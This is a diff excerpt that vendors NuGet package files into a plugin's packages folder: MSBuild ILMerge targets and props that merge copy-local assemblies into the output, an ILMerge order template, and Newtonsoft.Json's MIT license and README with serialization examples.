+    <!-- all copy local assemblies referenced from this project that go to the executable except the main one-->
+    <CreateItem Include="@(ReferencePath)" Condition=" '%(CopyLocal)' == 'true' ">
+      <Output TaskParameter="Include"  ItemName="MergedAssemblies"/>
+    </CreateItem>
+
+    <!-- all copy local dependency assemblies-->
+    <CreateItem Include="@(ReferenceDependencyPaths)" Condition=" '%(CopyLocal)' == 'true' ">
+      <Output TaskParameter="Include" ItemName="MergedDependencies"/>
+    </CreateItem>
+    
+    <!-- all assemblies that doesn't so we use their directories as library path -->
+    <CreateItem Include="@(ReferencePath)" Condition=" '%(CopyLocal)' == 'false' ">
+      <Output TaskParameter="Include" ItemName="UnmergedAssemblies"/>
+    </CreateItem>
+
+    <!-- all content items marked as copy always or newest -->
+    <CreateItem Include="@(Content)" Condition=" '%(Content.CopyToOutputDirectory)' == 'Always' OR '%(Content.CopyToOutputDirectory)' == 'PreserveNewest' ">
+      <Output TaskParameter="Include"  ItemName="LocalContentFiles"/>
+    </CreateItem>
+
+    <!-- add the main assembly as the first one -->
+    <PropertyGroup Condition=" $(ILMergeTransitive) == 'true' ">
+      <MergedAssemblies>@(IntermediateAssembly->'%(FullPath)');@(MergedAssemblies->'%(FullPath)');@(MergedDependencies->'%(FullPath)')</MergedAssemblies>
+    </PropertyGroup>
+    <PropertyGroup Condition=" $(ILMergeTransitive) == 'false' OR $(ILMergeTransitive) == '' ">
+      <MergedAssemblies>@(IntermediateAssembly->'%(FullPath)');@(MergedAssemblies->'%(FullPath)')</MergedAssemblies>
+    </PropertyGroup>
+    
+    <PropertyGroup>
+      <!-- Ideally we should copy all not-copy-local assemblies that are not in the ILMergeLibraryPath to -->
+      <!-- a temp directory and add it to the start search path, but we keep it simple here -->
+      <UnmergedAssemblies>@(UnmergedAssemblies->'%(FullPath)')</UnmergedAssemblies>
+      <MergeOutputFile>$(TargetPath)</MergeOutputFile>
+    </PropertyGroup>
+  </Target>
+
+  <!-- do not copy copy-local assemblies, they will be merged -->
+  <Target Name="_CopyFilesMarkedCopyLocal" />
+
+  <!-- override standard target our own merge-and-copy-content -->
+  <Target Name="CopyFilesToOutputDirectory">
+    <Message Text="Merge PDBs: $(ILMergeDebugInfo)" Importance="high" />
+    <Message Text="Merged assemblies: $(MergedAssemblies)" Importance="high" />
+    <Message Text="Not merged assemblies: $(UnmergedAssemblies)" Importance="normal" />
+    <Message Text="Merged Output in: $(MergeOutputFile)" Importance="normal" />
+    <Message Text="Key file: $(ILMergeKeyFile)" Importance="normal" />
+    <Message Text="Libraries in: $(ILMergeLibraryPath)" Importance="normal" />
+    <Message Text="Packages in: $(ILMergePackagesPath)" Importance="normal" />
+    <Message Text="Merge order file: $(ILMergeOrderFile)" Importance="normal" />
+    <Message Text="Internalization enabled: $(ILMergeInternalize)" Importance="normal" />
+    <Message Text="Local content: @(LocalContentFiles)" Importance="low" />
+
+    <!-- run ILMerge  -->
+    <!-- not supported: AllowWildCards, Closed (use $Transitive instead), TargetKind (default), -->
+    <MSBuild.ILMerge.Task 
+        KeyFile="$(ILMergeKeyFile)"
+        OutputFile="$(MergeOutputFile)"
+        LibraryPath="$(ILMergeLibraryPath)"
+        InputAssemblies="$(MergedAssemblies)"
+        LibraryAssemblies="$(UnmergedAssemblies)"
+        PackagesDir="$(ILMergePackagesPath)"
+        MergeOrderFile="$(ILMergeOrderFile)"
+        AllowDuplicateType="$(ILMergeAllowDuplicateType)"
+        AllowMultipleAssemblyLevelAttributes="$(ILMergeAllowMultipleAssemblyLevelAttributes)"
+        AllowZeroPeKind="$(ILMergeAllowZeroPeKind)"
+        CopyAttributes="$(ILMergeCopyAttributes)"
+        DebugInfo="$(ILMergeDebugInfo)"
+        DelaySign="$(ILMergeDelaySign)"
+        FileAlignment="$(ILMergeFileAlignment)"
+        Internalize="$(ILMergeInternalize)"
+        InternalizeExcludeFile ="$(ILMergeInternalizeExcludeFile)"
+        XmlDocumentation="$(ILMergeXmlDocumentation)"
+        PublicKeyTokens="$(ILMergePublicKeyTokens)"               
+        ShouldLog="$(ILMergeShouldLog)"
+        TargetPlatform="$(ILTargetPlatform)"
+        UnionMerge="$(ILUnionMerge)" />
+    <!-- copy content files marked as copy always or newest -->
+    <Copy SourceFiles="@(LocalContentFiles)" DestinationFolder="$(OutputPath)" />
+    <!-- copy config file (???) -->
+    <CallTarget Targets="_CopyAppConfigFile" Condition="'%(IntermediateAssembly.Extension)' == '.exe'"/>
+  </Target>
+  <UsingTask AssemblyFile="$(ILMergeToolsPath)MSBuild.ILMerge.Task.dll" TaskName="MSBuild.ILMerge.Task" />
+</Project>

Plugins/Recovery/packages/MSBuild.ILMerge.Task.1.1.3/content/ILMerge.props

@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <!--                                                                                   -->
+    <!-- ILMerge project-specific settings. Almost never need to be set explicitly.       -->
+    <!-- for details, see http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx -->
+    <!--                                                                                   -->
+    <!-- *** set this file to Type=None, CopyToOutput=Never ***                            -->
+
+    <!-- If True, all copy local dependencies will also be merged from referenced projects whether they are referenced in the current project explicitly or not -->
+    <ILMergeTransitive>true</ILMergeTransitive>
+
+    <!-- Extra ILMerge library paths (semicolon-separated). Dont put your package dependencies here, they will be added automagically -->
+    <ILMergeLibraryPath></ILMergeLibraryPath>
+
+    <!-- The solution NuGet package directory if not standard 'SOLUTION\packages' -->
+    <ILMergePackagesPath></ILMergePackagesPath>
+
+    <!-- The merge order file name if differs from standard 'ILMergeOrder.txt' -->
+    <ILMergeOrderFile></ILMergeOrderFile>
+
+    <!-- The strong key file name if not specified in the project -->
+    <ILMergeKeyFile></ILMergeKeyFile>
+
+    <!-- The assembly version if differs for the version of the main assembly -->
+    <ILMergeAssemblyVersion></ILMergeAssemblyVersion>
+
+    <!-- added in Version 1.0.4 -->
+    <ILMergeFileAlignment></ILMergeFileAlignment>
+
+    <!-- added in Version 1.0.4, default=none -->
+    <ILMergeAllowDuplicateType></ILMergeAllowDuplicateType>
+
+    <!-- If the <see cref="CopyAttributes"/> is also set, any assembly-level attributes names that have the same type are copied over into the target assembly -->
+    <ILMergeAllowMultipleAssemblyLevelAttributes></ILMergeAllowMultipleAssemblyLevelAttributes>
+
+    <!-- See ILMerge documentation -->
+    <ILMergeAllowZeroPeKind></ILMergeAllowZeroPeKind>
+
+    <!-- The assembly level attributes of each input assembly are copied over into the target assembly -->
+    <ILMergeCopyAttributes></ILMergeCopyAttributes>
+    
+    <!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
+    <ILMergeDebugInfo></ILMergeDebugInfo>
+
+    <!-- Target assembly will be delay signed -->
+    <ILMergeDelaySign></ILMergeDelaySign>
+
+    <!-- Types in assemblies other than the primary assembly have their visibility modified -->
+    <ILMergeInternalize></ILMergeInternalize>
+
+    <!-- The path name of the file that will be used to identify types that are not to have their visibility modified -->
+    <ILMergeInternalizeExcludeFile></ILMergeInternalizeExcludeFile>
+
+    <!-- XML documentation files are merged to produce an XML documentation file for the target assembly -->
+    <ILMergeXmlDocumentation></ILMergeXmlDocumentation>
+
+    <!-- External assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true, default value) -->
+    <ILMergePublicKeyTokens></ILMergePublicKeyTokens>
+
+    <!-- Types with the same name are all merged into a single type in the target assembly -->
+    <ILMergeUnionMerge></ILMergeUnionMerge>
+
+    <!-- The version of the target framework, default 40 (works for 45 too) -->
+    <ILTargetPlatform></ILTargetPlatform>
+  </PropertyGroup>
+</Project>

Plugins/Recovery/packages/MSBuild.ILMerge.Task.1.1.3/content/ILMergeOrder.txt

@@ -0,0 +1,4 @@
+# this file contains the partial list of the merged assemblies in the merge order
+# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
+# and finetune merge order to your satisfaction
+

Plugins/Recovery/packages/Newtonsoft.Json.13.0.3/LICENSE.md

@@ -0,0 +1,20 @@
+The MIT License (MIT)
+
+Copyright (c) 2007 James Newton-King
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+the Software, and to permit persons to whom the Software is furnished to do so,
+subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Plugins/Recovery/packages/Newtonsoft.Json.13.0.3/README.md

@@ -0,0 +1,71 @@
+# ![Logo](https://raw.githubusercontent.com/JamesNK/Newtonsoft.Json/master/Doc/icons/logo.jpg) Json.NET
+
+[![NuGet version (Newtonsoft.Json)](https://img.shields.io/nuget/v/Newtonsoft.Json.svg?style=flat-square)](https://www.nuget.org/packages/Newtonsoft.Json/)
+[![Build status](https://dev.azure.com/jamesnk/Public/_apis/build/status/JamesNK.Newtonsoft.Json?branchName=master)](https://dev.azure.com/jamesnk/Public/_build/latest?definitionId=8)
+
+Json.NET is a popular high-performance JSON framework for .NET
+
+## Serialize JSON
+
+```csharp
+Product product = new Product();
+product.Name = "Apple";
+product.Expiry = new DateTime(2008, 12, 28);
+product.Sizes = new string[] { "Small" };
+
+string json = JsonConvert.SerializeObject(product);
+// {
+//   "Name": "Apple",
+//   "Expiry": "2008-12-28T00:00:00",
+//   "Sizes": [
+//     "Small"
+//   ]
+// }
+```
+
+## Deserialize JSON
+
+```csharp
+string json = @"{
+  'Name': 'Bad Boys',
+  'ReleaseDate': '1995-4-7T00:00:00',
+  'Genres': [
+    'Action',
+    'Comedy'
+  ]
+}";
+
+Movie m = JsonConvert.DeserializeObject<Movie>(json);
+
+string name = m.Name;
+// Bad Boys
+```
+
+## LINQ to JSON
+
+```csharp
+JArray array = new JArray();
+array.Add("Manual text");
+array.Add(new DateTime(2000, 5, 23));
+
+JObject o = new JObject();
+o["MyArray"] = array;
+
+string json = o.ToString();
+// {
+//   "MyArray": [
+//     "Manual text",
+//     "2000-05-23T00:00:00"
+//   ]
+// }
+```
+
+## Links
+
+- [Homepage](https://www.newtonsoft.com/json)
+- [Documentation](https://www.newtonsoft.com/json/help)
+- [NuGet Package](https://www.nuget.org/packages/Newtonsoft.Json)
+- [Release Notes](https://github.com/JamesNK/Newtonsoft.Json/releases)
+- [Contributing Guidelines](https://github.com/JamesNK/Newtonsoft.Json/blob/master/CONTRIBUTING.md)
+- [License](https://github.com/JamesNK/Newtonsoft.Json/blob/master/LICENSE.md)
+- [Stack Overflow](https://stackoverflow.com/questions/tagged/json.net)